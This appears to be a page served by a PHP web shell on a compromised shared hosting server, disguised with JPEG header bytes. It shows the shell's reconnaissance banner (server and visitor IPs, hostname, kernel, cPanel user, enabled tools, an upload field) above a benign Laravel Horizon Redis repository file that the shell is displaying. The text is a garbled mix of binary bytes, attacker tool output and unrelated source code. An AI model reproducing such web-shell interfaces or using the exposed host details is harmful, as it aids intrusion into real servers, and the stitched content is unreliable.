����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/laravel/horizon/src/Repositories/ |
Upload File : |
<?php
namespace Laravel\Horizon\Repositories;
use Carbon\CarbonImmutable;
use Illuminate\Contracts\Redis\Factory as RedisFactory;
use Laravel\Horizon\Contracts\ProcessRepository;
class RedisProcessRepository implements ProcessRepository
{
/**
* The Redis connection instance.
*
* @var \Illuminate\Contracts\Redis\Factory
*/
public $redis;
/**
* Create a new repository instance.
*
* @param \Illuminate\Contracts\Redis\Factory $redis
* @return void
*/
public function __construct(RedisFactory $redis)
{
$this->redis = $redis;
}
/**
* Get all of the orphan process IDs and the times they were observed.
*
* @param string $master
* @return array
*/
public function allOrphans($master)
{
return $this->connection()->hgetall(
"{$master}:orphans"
);
}
/**
* Record the given process IDs as orphaned.
*
* @param string $master
* @param array $processIds
* @return void
*/
public function orphaned($master, array $processIds)
{
$time = CarbonImmutable::now()->getTimestamp();
$shouldRemove = array_diff($this->connection()->hkeys(
$key = "{$master}:orphans"
), $processIds);
if (! empty($shouldRemove)) {
$this->connection()->hdel($key, ...$shouldRemove);
}
$this->connection()->pipeline(function ($pipe) use ($key, $time, $processIds) {
foreach ($processIds as $processId) {
$pipe->hsetnx($key, $processId, $time);
}
});
}
/**
* Get the process IDs orphaned for at least the given number of seconds.
*
* @param string $master
* @param int $seconds
* @return array
*/
public function orphanedFor($master, $seconds)
{
$expiresAt = CarbonImmutable::now()->getTimestamp() - $seconds;
return collect($this->allOrphans($master))->filter(function ($recordedAt, $_) use ($expiresAt) {
return $expiresAt > $recordedAt;
})->keys()->all();
}
/**
* Remove the given process IDs from the orphan list.
*
* @param string $master
* @param array $processIds
* @return void
*/
public function forgetOrphans($master, array $processIds)
{
$this->connection()->hdel(
"{$master}:orphans", ...$processIds
);
}
/**
* Get the Redis connection instance.
*
* @return \Illuminate\Redis\Connections\Connection
*/
protected function connection()
{
return $this->redis->connection('horizon');
}
}